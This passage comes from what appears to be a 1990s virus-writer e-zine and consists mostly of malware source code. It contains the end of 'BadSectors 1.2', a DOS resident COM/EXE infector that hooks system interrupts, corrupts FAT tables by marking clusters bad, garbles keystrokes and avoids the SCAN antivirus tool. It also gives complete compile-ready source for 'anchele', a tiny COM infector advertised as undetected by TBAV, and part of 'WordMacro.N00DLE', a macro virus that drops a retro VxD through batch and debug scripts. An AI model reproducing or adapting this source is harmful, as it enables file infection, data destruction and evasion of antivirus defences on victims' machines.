near mov ax,4300h ;fetch current file attribute mov dx,filename pushf call dword ptr ds:[offset int21_offset-TSRpart] jc signalerr mov ds:[fileattribute],cx ;save file attribute test cx,100b ;is System file? jnz signalerr test cx,1 ;is Read-only? jz notreadonly mov ax,4301h ;set File Attribute mov cx,0 ;remove file protection mov dx,filename pushf call dword ptr ds:[offset int21_offset-TSRpart] jc signalerr NotReadOnly: mov ax,3d02h ;open file in R/W mode mov dx,filename pushf call dword ptr ds:[offset int21_offset-TSRpart] jc signalerr mov ds:filehandle,ax ;save file handle cmp byte ptr ds:[dosversion],3 jb doslower30 mov ax,5700h ;query time/date of a file mov bx,ds:filehandle pushf call dword ptr ds:[offset int21_offset-TSRpart] mov ds:filetimestamp,cx ;time stamp mov ds:filedatestamp,dx ;date stamp doslower30: clc retn signalerr: stc retn preparefile endp ; Subroutine = Restore original file state restfilestate proc near cmp byte ptr ds:[dosversion],3 jb doslessthan3 mov ax,5701h ;set time/date of the file mov bx,ds:filehandle mov cx,ds:filetimestamp mov dx,ds:filedatestamp pushf call dword ptr ds:[offset int21_offset-TSRpart] doslessthan3: mov ah,3eh ;close current file mov bx,ds:filehandle pushf call dword ptr ds:[offset int21_offset-TSRpart] mov cx,ds:fileattribute test cx,1 ;test if the file was Read-only jz leavefinal mov ax,4301h mov dx,filename pushf ;restore the original state of the file call dword ptr ds:[offset int21_offset-TSRpart] leavefinal: retn restfilestate endp ; INT 25h Handler int25handler: push ax push bx cmp al,1ah jae invaliddrv cmp cx,-1 ;count of sectors je invaliddrv shl al,1 cbw mov bx,ax mov cs:drivestable[bx],dx invaliddrv: pop bx pop ax jmp dword ptr cs:[offset int25_offset-TSRpart] ; INT 26h Handler int26handler: push ax push bx cmp al,1ah jae invaliddrv1 cmp cx,-1 je invaliddrv1 shl al,1 cbw mov bx,ax mov cs:drivestable[bx],dx invaliddrv1: pop bx pop ax jmp dword ptr cs:[offset int26_offset-TSRpart] ;--------------------------------------------------- startsector dw 0 sector2 dw 0 sectorcounter dw 1 buffofs dw transfaddr buffseg dw 9ec0h ; Subroutine = Dos Disk reader DOSdiskreader proc near push ds push es cmp byte ptr cs:[dosversion],4 jae DOS45 pushf call dword ptr cs:[offset int25_offset-TSRpart] jmp short leavereader DOS45: mov cs:[offset startsector-TSRpart],dx mov word ptr cs:[offset sector2-TSRpart],0 mov cs:[offset sectorcounter-TSRpart],cx mov cs:[offset buffofs-TSRpart],bx mov cs:[offset buffseg-TSRpart],ds push cs pop ds mov bx,(offset startsector-TSRpart) mov cx,0FFFFH pushf call dword ptr cs:[offset int25_offset-TSRpart] leavereader: pop dx pop es pop ds retn DOSdiskreader endp ; Subroutine = Dos Disk writer DOSdiskwriter proc near push ds push es cmp byte ptr cs:[dosversion],4 jae DOS_45 pushf call dword ptr cs:[offset int26_offset-TSRpart] jmp short leavewriter DOS_45: mov cs:[offset startsector-TSRpart],dx mov word ptr cs:[offset sector2-TSRpart],0 mov cs:[offset sectorcounter-TSRpart],cx mov cs:[offset buffofs-TSRpart],bx mov cs:[offset buffseg-TSRpart],ds push cs pop ds mov bx,(offset startsector-TSRpart) mov cx,0ffffh pushf call dword ptr cs:[offset int26_offset-TSRpart] leavewriter: pop dx pop es pop ds retn DOSdiskwriter endp ; Subroutine = read/write drives' sectors without any purposes readwritesect proc near mov al,ds:[drivenumber] call analysedrive ;if DOS or Novell drive jc noerrorexit cbw ;current drive number in ax mov bx,ax shl bx,1 mov dx,ds:drivestable[bx] ;get the last drive's sector mov cx,1 mov bx,transfaddr call DOSdiskreader jc exit23 ;if error leave procedure mov al,ds:drivenumber cbw mov bx,ax shl bx,1 mov dx,ds:drivestable[bx] mov cx,1 mov bx,transfaddr call DOSdiskwriter ;save the last drive's sector jmp short exit23 noerrorexit: clc exit23: retn readwritesect endp ; Subroutine = Virus cutter if error in writing operation viruscutter proc near mov ax,4200h mov bx,ds:filehandle push bx ;seek at the end of original file mov dx,ds:[offset newseg-TSRpart] ;file length dx:cx mov cx,ds:[offset comexetype-TSRpart] pushf call dword ptr ds:[offset int21_offset-TSRpart] pop bx mov ah,40h mov cx,0 ;Cut the virus from the end of file pushf call dword ptr ds:[offset int21_offset-TSRpart] retn viruscutter endp ; Subroutine = Infect COM or EXE files maininfector proc near cmp byte ptr ds:filetype,0 ;test if COM file je isCOM jmp isEXE isCOM: call preparefile jnc OKcontinue jmp exitproc27 OKcontinue: mov ax,4202h xor cx,cx xor dx,dx mov bx,ds:filehandle ;seek to end of file pushf call dword ptr ds:[offset int21_offset-TSRpart] mov ds:[offset newseg-TSRpart],ax ;new pos. low mov ds:[offset comexetype-TSRpart],dx ;new pos. high mov ds:[offset origlnglow-TSRpart],ax ;new pos. low mov ds:[offset origlnghigh-TSRpart],dx ;new pos. high mov byte ptr ds:[offset COMEXEmark-TSRpart],0 ;COM mark cmp ax,0f19bh ;Low length < 0F19Bh nop jc suitablelength jmp showerror suitablelength: cmp ax,800h jae suitsminim ;800h <= Low length < 0F19Bh jmp showerror suitsminim: mov ax,4200h xor cx,cx xor dx,dx ;seek to the begin of file mov bx,ds:filehandle ;to save the COM header pushf call dword ptr ds:[offset int21_offset-TSRpart] mov dx,(offset secondentry-TSRpart) mov bx,ds:filehandle mov ah,3fh ;read from file 11 bytes mov cx,0bh nop pushf call dword ptr ds:[offset int21_offset-TSRpart] jc showerror mov ax,ds:[offset newseg-TSRpart] ;file length dx:ax mov dx,ds:[offset comexetype-TSRpart] call adjustatpara ;align at Paragraph push ax push dx mov cx,dx mov dx,ax mov ax,4200h ;position at PARA alignement mov bx,ds:filehandle ;at the end of file pushf call dword ptr ds:[offset int21_offset-TSRpart] mov bx,ds:filehandle mov ah,40h mov dx,0 mov cx,(offset eovirus-TSRpart) ;total length of virus nop pushf ;infect COM file at the end call dword ptr ds:[offset int21_offset-TSRpart] mov cx,ax ;bytes actualy written pop dx pop ax jc errorwriting cmp cx,(offset eovirus-TSRpart) ;test if OK writing jne errorwriting mov cx,4 shr ax,cl ;transform length in PARA add ax,0d0h nop mov ds:[offset adjuster-TSRpart],ax mov ax,4200H xor cx,cx xor dx,dx mov bx,ds:filehandle pushf ;seek again to the begin of file call dword ptr ds:[offset int21_offset-TSRpart] mov ah,40h mov bx,ds:filehandle mov dx,[offset startthunk-TSRpart] nop mov cx,0bh ;length of thunk nop pushf ;write the new begin of COM file call dword ptr ds:[offset int21_offset-TSRpart] clc jmp short continue2 showerror: stc continue2: pushf call restfilestate popf exitproc27: retn errorwriting: call viruscutter clc jmp short continue2 ; EXE infection isEXE: call preparefile jnc contoperation jmp exitEXEop contoperation: mov ax,4202h xor cx,cx xor dx,dx mov bx,ds:filehandle pushf ;seek to the EOF call dword ptr ds:[offset int21_offset-TSRpart] mov ds:[offset newseg-TSRpart],ax mov ds:[offset comexetype-TSRpart],dx mov ds:[offset origlnglow-TSRpart],ax mov ds:[offset origlnghigh-TSRpart],dx mov byte ptr ds:[offset COMEXEmark-TSRpart],1 ;EXE mark cmp dx,0 jne highernot0 cmp ax,800h jae highernot0 ;if lower > 800H jmp issomeerr highernot0: mov ax,4200h xor cx,cx xor dx,dx mov bx,ds:filehandle pushf ;seek to the beginning of the file call dword ptr ds:[offset int21_offset-TSRpart] mov ah,3fh ;read EXE header mov dx,Transfaddr mov bx,ds:filehandle mov cx,18h pushf call dword ptr ds:[offset int21_offset-TSRpart] jnc EXEhdrOK jmp issomeerr EXEhdrOK: cmp word ptr ds:[transfaddr],5A4DH ;'MZ' - exe type je MZok jmp issomeerr MZok: mov si,relossfile mov di,0c05h cld movsw ;get Reloss-->C05h, Exesp-->C07h movsw mov si,exeIPfile mov di,0c09h movsw ;get ExeIP-->C09h, Relocs-->C0Bh movsw mov ax,ds:[offset newseg-TSRpart] ;file length dx:ax mov dx,ds:[offset comexetype-TSRpart] call adjustatpara mov ds:newlowlng,ax ;save adjusted file length mov ds:newhighlng,dx mov cx,4 otherdiv2: shr dx,1 ;obtain file length in PARA rcr ax,1 ;in dx:ax loop otherdiv2 sub ax,ds:hdrsize add ax,(offset newseg - TSRpart)/16 nop mov word ptr ds:[exeIPfile],10h mov ds:relocs,ax add ax,17h nop mov ds:[relossfile],ax mov word ptr ds:exesp,200H mov ax,ds:newlowlng mov dx,ds:newhighlng add ax,(offset eovirus-TSRpart) nop adc dx,0 push ax and ax,1ffh ;make the necessary corrections mov ds:[transfaddr2],ax ;PartPag adjustment pop ax mov cx,9 partpagadj: shr dx,1 rcr ax,1 loop partpagadj inc ax mov ds:signpointer,ax ;PageCnt adjustment mov ax,4200h mov dx,ds:newlowlng mov cx,ds:newhighlng mov bx,ds:filehandle pushf ;seek to the EOF call dword ptr ds:[offset int21_offset-TSRpart] mov bx,ds:filehandle mov ah,40h mov dx,0 ;write virus to the EOF mov cx,(offset eovirus-TSRpart) nop pushf call dword ptr ds:[offset int21_offset-TSRpart] jc errwriteEXE cmp ax,(offset eovirus-TSRpart) nop jnz errwriteEXE ;if error in writing virus mov ax,4200h xor cx,cx xor dx,dx mov bx,ds:filehandle pushf ;seek to the BOF call dword ptr ds:[offset int21_offset-TSRpart] mov ah,40h mov bx,ds:filehandle mov cx,18h mov dx,transfaddr pushf ;write the new EXE header call dword ptr ds:[offset int21_offset-TSRpart] clc jmp short mayleave issomeerr: stc mayleave: pushf call restfilestate popf exitEXEop: retn errwriteEXE: call viruscutter clc jmp short mayleave maininfector endp ; Subroutine = analyse to see if valid sectors studymedia proc near cmp byte ptr ds:[diskmark1],29h ; ')' jne oldertype cmp byte ptr ds:[diskmark2],36h ; '6' je errorexit cmp byte ptr ds:[diskmark2],32h ; '2' je Okleave cmp word ptr ds:[totsecs],0 je errorexit oldertype: cmp word ptr ds:[totsecs],5104h ja errorexit Okleave: clc retn errorexit: stc retn studymedia endp ; Subroutine = Modify 12-bit kind FAT jumble12bitFAT proc near mov si,6 mov cx,ds:[fatsize] otherfatsect: call readFAT otherclst: cmp word ptr ds:[fatFLAG],0 je donothurt1 cmp byte ptr ds:transfaddr[si],0 ;test if free jne rndcluster cmp byte ptr ds:transfaddr1[si],0 ;test if free jne rndcluster cmp byte ptr ds:transfaddr2[si],0 ;test if free jne rndcluster mov byte ptr ds:transfaddr[si],0f7h mov byte ptr ds:transfaddr1[si],7fh mov byte ptr ds:Transfaddr2[si],0ffh or byte ptr ds:semaphor,2 dec word ptr ds:[fatFLAG] rndcluster: add si,3 mov ax,ds:[sectsiz] sub ax,si cmp ax,3 jae otherclst donothurt1: test byte ptr ds:semaphor,2 jz forgiveclust1 call writechangedFAT forgiveclust1: add si,3 sub si,ds:[sectsiz] inc word ptr ds:[ressecscopy] loop otherfatsect retn jumble12bitFAT endp ; Subroutine = Modify 16-bit kind FAT jumble16bitFAT proc near mov si,8 mov cx,ds:[fatsize] anotherFATsect: call readFAT othercluster: cmp word ptr ds:[fatFLAG],0 je donothurt cmp word ptr ds:transfaddr[si],0 ;test if unused cluster jne randomcluster mov word ptr ds:transfaddr[si],0fff7h ;mark BAD or byte ptr ds:semaphor,2 dec word ptr ds:[fatFLAG] randomcluster: add si,2 mov ax,ds:[sectsiz] sub ax,si cmp ax,2 jae othercluster donothurt: test byte ptr ds:semaphor,2 jz forgiveFAT call writechangedFAT forgiveFAT: mov si,0 inc word ptr ds:[ressecscopy] loop anotherFATsect retn jumble16bitFAT endp ; Subroutine = Read the partition sector if any readFAT proc near push cx push si mov al,ds:drivenumber mov bx,transfaddr mov cx,1 mov dx,ds:[ressecscopy] call DOSdiskreader pop si pop cx retn readFAT endp ; Subroutine = Write changes on FAT to disk writechangedFAT proc near and byte ptr ds:semaphor,0fdh push cx push si mov dx,ds:[ressecscopy] mov cl,ds:[fatcnt] mov ch,0 otherFAT: mov al,ds:drivenumber push dx push cx mov cx,1 mov bx,transfaddr call DOSdiskwriter pop cx pop dx jc erroratwrite mov al,ds:[fatsize] mov ah,0 add dx,ax loop otherFAT erroratwrite: pop si pop cx retn writechangedFAT endp ; Subroutine = Get BOOT P.B. info and attack FAT attackFAT proc near test byte ptr ds:semaphor,10h jz returnpoint mov word ptr ds:[secondcounter],-1 and byte ptr ds:semaphor,0efh mov al,ds:[drivenumber] call analysedrive jc returnpoint ;if unknown drive exit mov cx,1 ;count of sectors mov dx,0 ;DOS logical sector mov bx,transfaddr call DOSdiskreader jc returnpoint cld mov si,0d81h ;get sector size mov di,sectsiz movsw mov si,0d84h mov di,ressecs movsw ;get reserved sectors movsb ;get fat counter mov si,0d8ch ;get fat size movsw mov ax,ds:[ressecs] mov ds:[ressecscopy],ax mov word ptr ds:[fatFLAG],4 call studymedia ;get info about FAT pointer jc is16bitFAT call jumble12bitFAT jmp short returnpoint is16bitFAT: call jumble16bitFAT returnpoint: retn attackFAT endp ; Subroutine = Read Timer Tick from ROM Bios variables readtimertick proc near push ds xor ax,ax mov ds,ax mov ax,ds:timertick pop ds retn readtimertick endp ; Subroutine = Initialize FirstCounter initfirstcntr proc near push ax call readtimertick and ax,7fffh or ax,1ffh ;values in the range [1FF..7FFF] mov cs:firstcounter,ax pop ax retn initfirstcntr endp ; INT 8 Handler entryI8: test byte ptr cs:semaphor,1 jnz firstiszero dec word ptr cs:firstcounter jnz firstiszero or byte ptr cs:semaphor,1 firstiszero: test byte ptr cs:semaphor,10h jnz secondiszero dec word ptr cs:secondcounter jnz secondiszero or byte ptr cs:semaphor,10h secondiszero: jmp dword ptr cs:[offset int08_offset-TSRpart] ; INT 16h Handler entryI16: cmp ah,0 ;Read function (wait keystroke) je isreadfn cmp ah,10h je isreadfn cmp ah,1 ;Check if a key stroke is ready je istestfn cmp ah,11h jne leaveI16 istestfn: test byte ptr cs:semaphor,100b jz leaveI16 mov ax,cs:scanASCIIchr or ax,ax retf 2 isreadfn: push ax test byte ptr cs:semaphor,1 jz firstdelay test byte ptr cs:semaphor,100b jnz resetallflags call readtimertick test ax,11b jz scramble pop ax pushf call dword ptr cs:[offset int16_offset-TSRpart] mov cs:scanASCIIchr,ax or byte ptr cs:semaphor,100b iret resetallflags: pop ax mov ax,cs:scanASCIIchr call initfirstcntr and byte ptr cs:semaphor,0fah iret scramble: pop ax push ax pushf call dword ptr cs:[offset int16_offset-TSRpart] call initfirstcntr and byte ptr cs:semaphor,0feh firstdelay: pop ax leaveI16: jmp dword ptr cs:[offset int16_offset-TSRpart] ; INT 1Bh Handler entryI1b: iret ; INT 24h Handler int24handler: test ah,00001000b ;test device type jz notfailure mov al,3 ;ret to appl.showing a DOS failure iret notfailure: test ah,00100000b ;test IGNORE bit mov al,0 ;signal ignore the error iret mov al,2 iret ; Subroutine = DOS Analysa and FileName testDOS proc near cld mov ax,es:[di+4] ;es:di from DOS information test ah,80h stc jz leave1 cmp byte ptr [si],0 ;si == File name pointer je signerror push si push di add di,0ah ;position on Dos Device Names nextletter: lodsb mov ah,es:[di] cmp ax,2000h ;al may be 0 from ASCIIZ name je signOK cmp ax,202eh ;al may be '.' from extension je signOK cmp al,ah jne signerror inc di jmp short nextletter signerror: stc jmp short getout signOK: clc getout: pop di pop si leave1: retn testDOS endp ; Subroutine = parse device drivers to lookup for filename parsedrivers proc near push es mov ah,52h ;es:bx DOS important info pushf call dword ptr ds:[offset int21_offset-TSRpart] les di,dword ptr es:[bx+0CH] ;DOS Segment mov si,ds:[filepointer] anotherdevice: call testDOS jnc noerror ;DOS file found les di,dword ptr es:[di] cmp di,0ffffh ;end of Linked List jne anotherdevice stc ;signal file not SYSTEM file noerror: pop es retn parsedrivers endp antidot db 'SCAN' ; Subroutine = test if SCAN is in charge isscancharge proc near call searchfilename mov si,(offset antidot-TSRpart) cld mov cx,4 repe cmpsb retn isscancharge endp ; NEW DOS FUNCTIONS from corrupted INT 21H reentrstatus: push cs ;test to see if it can call INT 21H pop es mov bx,DOScounter test byte ptr es:[bx],-1 jz notDOSactive iret notDOSactive: jmp dword ptr cs:[offset int21_offset-TSRpart] loadandgo: push ax push bx push cx push dx push si push di push bp push ds push es call getfilename mov ah,34h ;check reentrancy status pushf call dword ptr cs:[offset int21_offset-TSRpart] test byte ptr es:[bx],0ffh jnz leaveloadgo ;if DOS active don't do it push cs push cs pop ds pop es call searchfilename mov ds:[filepointer],di call parsedrivers jnc leaveloadgo ;if file is SYSTEM don't touch call getdrive ;obtain the current drive call attackFAT call readwritesect ;Read and Write harmless jc leaveloadgo ;if error in reading EXIT call keybanderror ;Get Keyb.Break and Error hand. mov ah,0 call comexetester jc putoriginalvect ;not an executable file mov ds:[filetype],al ;0-->COM/1-->EXE call isscancharge jz putoriginalvect call testinfect jnc putoriginalvect call maininfector putoriginalvect: call restorekeyberr leaveloadgo: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax jmp exit_handler find1stfile: mov cs:fileofs,dx mov cs:fileseg,ds pushf call dword ptr cs:[offset int21_offset-TSRpart] jnc searchOK jmp searchexit searchOK: pushf push ax push bx push cx push dx push si push di push bp push ds push es mov ah,34h ;test critical section in DOS pushf call dword ptr cs:[offset int21_offset-TSRpart] test byte ptr es:[bx],0ffh jz OKnotDOS jmp leavesearcher OKnotDOS: lds dx,dword ptr cs:fileofs call getfilename push cs push cs pop ds pop es and byte ptr ds:semaphor,0f7h call searchfilename mov ds:[filepointer],di call putfile ;save path in a temporary buffer call parsedrivers jc notsystem jmp leavesearcher notsystem: call getdrive backagain: call keybanderror ;disable possible async.events call readwritesect jnc notdiskerr jmp short diskerr nop notdiskerr: call anyfile ;search any file mov ah,2fh ;get DTA in es:bx pushf call dword ptr ds:[offset int21_offset-TSRpart] mov word ptr ds:[DTAofs],bx mov word ptr ds:[DTAofs+2],es ;save DTA pointer push cs pop es mov dx,newDTA mov ah,1ah ;set a new DTA address pushf call dword ptr ds:[offset int21_offset-TSRpart] mov ah,4eh ;find first matching file mov dx,filename mov cx,00100011b ;Archive/Hidden/Read-only pushf call dword ptr ds:[offset int21_offset-TSRpart] jc errorfunc loopnextfile: mov ah,1 call comexetester jc notexecomform mov ds:[filetype],al mov si,DTAfilename mov di,ds:[filepointer] mov cx,0dh cld ;get the new file name rep movsb call isscancharge jz notexecomform call testinfect jnc notexecomform call maininfector jc notexecomform jmp short errorfunc notexecomform: mov dx,newDTA mov ah,4fh ;find next matching file pushf call dword ptr ds:[offset int21_offset-TSRpart] jnc loopnextfile errorfunc: lds dx,ds:[DTAofs] ;set the original DTA mov ah,1ah pushf call dword ptr cs:[offset int21_offset-TSRpart] push cs pop ds diskerr: call getfile call recoverfname call putoriglength call restorekeyberr ;restore Keyb break and Crit.Err. leavesearcher: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax popF searchexit: dec byte ptr cs:DOScounter retf 2 ;free the flag from stack find1stFCBfile: mov cs:fileofs,dx mov cs:fileseg,ds pushf call dword ptr cs:[offset int21_offset-TSRpart] cmp al,0 jne searchexit pushf push ax push bx push cx push dx push si push di push bp push ds push es mov ah,34h ;test critical section in DOS pushf call dword ptr cs:[offset int21_offset-TSRpart] test byte ptr es:[bx],-1 jnz leavesearcher lds si,dword ptr cs:fileofs call getvaliddrive push cs pop es mov di,filename call buildname push cs pop ds mov word ptr ds:[filepointer],filename call parsedrivers jnc leavesearcher or byte ptr ds:semaphor,8 mov di,filename mov al,ds:[drivenumber] cld add al,41h ;get drive letter mov ah,':' stosw mov al,0 stosb mov word ptr ds:[filepointer],0fa8h call putfile jmp backagain findnextfile: pushf call dword ptr cs:[offset int21_offset-TSRpart] jc leaveDOSfn pushf push ax push bx push cx push dx push si push di push bp push ds push es mov ah,34h ;test critical section in DOS pushf call dword ptr cs:[offset int21_offset-TSRpart] test byte ptr es:[bx],-1 jnz restoreregs push cs push cs pop ds pop es and byte ptr ds:semaphor,0f7h nextparse: call keybanderror call getfile push es mov ah,2fh ;Get DTA in es:bx pushf call dword ptr ds:[offset int21_offset-TSRpart] mov word ptr ds:[DTAofs],bx mov word ptr ds:[DTAofs+2],es pop es call RecoverFName call ParseDrivers jnc notsystemagain call putoriglength notsystemagain: call restorekeyberr restoreregs: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax popf leaveDOSfn: dec byte ptr cs:DOScounter retf 2 findnextFCBfile: pushf call dword ptr cs:[offset int21_offset-TSRpart] cmp al,0 jne leaveDOSfn pushf push ax push bx push cx push dx push si push di push bp push ds push es mov ah,34h ;test critical section in DOS pushf call dword ptr cs:[offset int21_offset-TSRpart] test byte ptr es:[bx],-1 jnz restoreregs push cs push cs pop ds pop es or byte ptr ds:semaphor,8 jmp short nextparse db 14 dup (0) startthunk: mov ax,cs db 05 ;'add ax,06FEh' adjuster dw 06feh push ax mov ax,offset entryaddress - newSeg push ax retf db 0 db 0, 0, 0, 0 ; New entry segment newseg dw 2712h comexetype db 0 db 0 COMEXEmark db 0 ;0--COM/ 1--EXE secondentry: mov ax,4c00h int 21h db 6 dup (90h) ; Entry routine embedded entryaddress: push ds ;save the original segment push ds pop ax dec ax mov ds,ax ;position on MCB segment cmp byte ptr ds:MCBtype,'Z' ;if last block jnz leavevirus cmp word ptr ds:MCBsize,blocklength jb leavevirus mov ah,30h ;get DOS version int 21h cmp al,2 jb leavevirus ;if version less than 2.0 push ds xor ax,ax mov ds,ax mov ax,ds:[totalmem] pop ds mov cl,06 shl ax,cl mov es,ax push cs pop ds mov si,offset signature-newseg mov di,0 mov cx,000bh cld repz ;test to see if already in memory cmpsb ;'Badsectors' test string jnz notinmem leavevirus: push cs pop ds cmp byte ptr ds:[offset COMEXEmark-newseg],1 je retexectrl ;if 1 return in EXE style pop es ;es restored on original seg push es mov di,100h ;COM start address push di mov si,(offset secondentry -newseg) mov cx,0bh ;copy the second entry point routine cld rep movsb push es pop ds retf retexectrl: pop ax ;get original ds pointer on Psp push ax ;save ds add ax,10h add ds:sspointer,ax ;build original ss add word ptr ds:terminaddr+2,ax ;offset for returning pop ax cli mov ss,ds:sspointer mov sp,ds:sppointer sti mov ds,ax mov es,ax jmp dword ptr cs:terminaddr notinmem: xor ax,ax mov ds,ax db 81h,2eh,13h,4,5,0 ;=sub word ptr ds:totalmem,5 - alloc 5 K of mem pop ax ;ax on original segment push ax dec ax mov ds,ax ;ds on original MCB mov ax,es sub ax,140h ;subtract 140h mem chunks nop mov es,ax ;the new alloc segment sub word ptr ds:memtop,140h sub word ptr ds:MCBsize,140h mov ax,cs sub ax,(offset newseg - TSRpart)/16 mov ds,ax mov si,0 mov di,si mov cx,(offset eovirus-TSRpart) ;total length of virus nop cld rep movsb mov si,(offset signature - TSRpart) mov di,0 mov cx,0eh ;length of signature rep movsb push es pop ds ;es==ds on TOP memory mov word ptr ds:firstcounter,7fffh mov word ptr ds:secondcounter,-1 mov byte ptr ds:semaphor,0 mov byte ptr ds:DOScounter,0 mov ah,30h ;get DOS version int 21h mov ds:[dosversion],ax mov di,drivestable mov cx,1ah xor ax,ax cld rep stosw ;prepare 52 bytes drives' table mov ds,ax mov si,84h ;get Int 21H DOS vector mov di,(offset int21_offset-TSRpart) movsw ;hook the INT 21h DOS vector movsw cli mov word ptr [si-4],offset int21handler-TSRpart mov [si-2],es sti mov si,20h mov di,(offset int08_offset-TSRpart) movsw ;hook the INT 8 clock vector movsw cli mov word ptr [si-4],offset entryI8-TSRpart mov [si-2],es sti mov si,58h mov di,(offset int16_offset-TSRpart) movsw ;hook the INT 16h keyboard serv vector movsw cli mov word ptr [si-4],offset entryI16-TSRpart mov [si-2],es sti mov si,94H mov di,(offset int25_offset-TSRpart) movsw ;hook the INT 25h DOS disk read vector movsw cli mov word ptr [si-4],(offset int25handler-TSRpart) mov [si-2],es sti mov si,98h mov di,(offset int26_offset-TSRpart) movsw ;hook the INT 26h DOS disk write vector movsw cli mov word ptr [si-4],(offset int26handler-TSRpart) mov [si-2],es sti jmp leavevirus ;- end of main part origlnglow dw 2712h origlnghigh dw 0 signature db 'BadSectors 1.2' eovirus: code ends end virus_start --------------------------------- cut here ---------------------------------- Virtual Daemon Viral Development Researcher & Virii Colector Member of SLAM Virus Team Network Administrator E-mail: virtual_daemon@hotmail.com Web: http://www.geocities.com/SiliconValley/Heights/3334 \ \ \ \__ / \ / _\ ( / / / / \ \ (_( (/ /_> \) _ ___ ___ ___ _ _ ___ _ _ ___ ( ( | /___\ | | |\ | | | | | | \ \ | | | -- | | \| |-- | | | -- \) |___ | | ___| | | | |___ |__|__| ___| Here are some articles I got one day before releasing this mag. Read it, there some real fantastic source code's. Article's: 1. Anchele v1.0 - Written by Reptile 2. WordMacro.N00DLE v2.0 - Written by Reptile - 1997 3. *Rumble* v1.2 - Written by Reptile - 1997 4. Stealth In Word 97 - Written by Talon _ / | / | / | / / | | / / | | /__/ | | | | | | | | __ |__| |__| ;Ŀ ; anchele v1.0 - Written by Reptile ;Ĵ ; Size: 135 bytes (smallest virus, that tbav can't detect?) ; Targets: ?om files ; Type: Direct action infector of com files ; Origin: Switzerland ;Ĵ ; Special stuff: - No flags with TBAV v7.06 (for Windoze 95) ; [high heuristic]! ;Ĵ ; Note: This is a very tiny and simple virus, but anyway TBAV's ; heuristic can't detect it. ;Ĵ ; Compiling: tasm anchele ; tlink /t anchele ; .286 .model tiny .code org 100h main: db 233,0,0 start: call $+3 ;get delta anc:int 03h pop bp sub bp,offset anc lea si,[bp + offset ojmp] ;restore original jmp mov di,100h movsw movsb ffirst: mov ah,4eh ;search for first com jmp short w ojmp db 205,32,0 cmask db '*.?om',0 ofile: mov ax,3d02h ;open file mov dx,9eh int 21h xchg ax,bx mov ah,3fh ;read original jmp mov cx,3 lea dx,[bp + offset ojmp] int 21h mov ax,4202h xor cx,cx cwd int 21h sub ax,vend - start + 3 cmp word ptr [bp + ojmp + 1],ax je cfile add ax,vend - start mov word ptr [bp + njmp + 1],ax mov ah,'A' ;write virus xor ah,1 mov cx,vend - start lea dx,[bp + offset start] int 21h mov ax,4200h xor cx,cx cwd int 21h mov ah,'A' xor ah,1 mov cx,3 lea dx,[bp + offset njmp] int 21h cfile: mov ah,3eh ;close file int 21h fnext: mov ah,4fh ;search for next com w: mov cx,7 lea dx,[bp + offset cmask] int 21h jnc ofile exit: mov bx,101h dec bx jmp bx njmp db 233 vend: db 0,0 ends end main _ _ _ _ _ _ / _ _ _ _ \ / / | | / / | | |__/ / | / / / / / / / / / / / / / / / / / / | /_ _ _ _ _ _ _ _ _ _ _ __ |_ _ _ _ _ _ _ _ _ _ _ _ _| |__| Ŀ WordMacro.N00DLE v2.0 - Written by Reptile - 1997 Ĵ Version: English Macros: 3 Encrypted: Yes Polymorf: Nope Stealth: Yes Retro: Yes Origin: Switzerland Ĵ AV stuff: F/WIN v4.02 can't detect infected doc files. It will only find a virus in the global template. Ĵ Special stuff: This virus drops a retro vxd in the 'c:\windows\system', the 'c:\windows.000\system' or the 'c:\win95\system' dir and loads in the system.ini. After the next reboot the vxd is in memory and will do a reboot if you'll try to execute F/WIN v4.02. Ĵ Note: I didn't test this version of the virus, coz I haven't got the english word. I translated it by using source codes of english macro virii. -> bugs Ŀ Macro: AutoOpen Sub MAIN Retro d$ = FileName$() f$ = d$ + ":AutoOpen" MacroCopy f$, "Global:noodle", 1 f$ = d$ + ":AutoClose" MacroCopy f$, "Global:AutoClose", 1 f$ = d$ + ":ToolsMacro" MacroCopy f$, "Global:ToolsMacro" End Sub Sub Retro On Error Goto a Open "c:\windows\win.com" For Input As #1 Close #1 Goto win a: On Error Goto b Open "c:\windows.000\win.com" For Input As #1 Close #1 Goto win000 b: On Error Goto NoDrop Open "c:\win95\win.com" For Input As #1 Close #1 Goto win95 win: On Error Goto w1 Open "c:\windows\system\noodle.386" For Input As #1 Close #1 Goto NoDrop w1: Open "c:\error.bat" For Output As #1 Print #1, "@echo off" Print #1, "cd windows\system" Print #1, "debug < noodle.scr > nul" Print #1, "del noodle.scr" Print #1, "cd\" Print #1, "debug < drop.scr > nul" Print #1, "del drop.scr" Print #1, "drop.com" Print #1, "del drop.com" Close #1 Open "c:\windows\system\noodle.scr" For Output As #1 Goto Dwrite win000: On Error Goto w2 Open "c:\windows.000\system\noodle.386" For Input As #1 Close #1 Goto NoDrop w2: Open "c:\error.bat" For Output As #1 Print #1, "@echo off" Print #1, "cd windows.000\system" Print #1, "debug < noodle.scr > nul" Print #1, "del noodle.scr" Print #1, "cd\" Print #1, "debug < drop.scr > nul" Print #1, "del drop.scr" Print #1, "drop.com" Print #1, "del drop.com" Close #1 Open "c:\windows.000\system\noodle.scr" For Output As #1 Goto Dwrite win95: On Error Goto w3 Open "c:\win95\system\noodle.386" For Input As #1 Close #1 Goto NoDrop w3: Open "c:\error.bat" For Output As #1 Print #1, "@echo off" Print #1, "cd win95\system" Print #1, "debug < noodle.scr > nul" Print #1, "del noodle.scr" Print #1, "cd\" Print #1, "debug < drop.scr > nul" Print #1, "del drop.scr" Print #1, "drop.com" Print #1, "del drop.com" Close #1 Open "c:\win95\system\noodle.scr" For Output As #1 Dwrite: Print #1, "N NOODLE.386" Print #1, "E 0100 4D 5A 1F 00 0A 00 00 00 04 00 00 00 FF FF 00 00" Print #1, "E 0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00" Print #1, "E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00" Print #1, "E 0140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68" Print #1, "E 0150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F" Print #1, "E 0160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20" Print #1, "E 0170 6D 6F 64 65 2E 0D 0A 24 00 00 00 00 00 00 00 00" Print #1, "E 0180 4C 45 00 00 00 00 00 00 02 00 04 00 00 00 00 00" Print #1, "E 0190 20 80 00 00 02 00 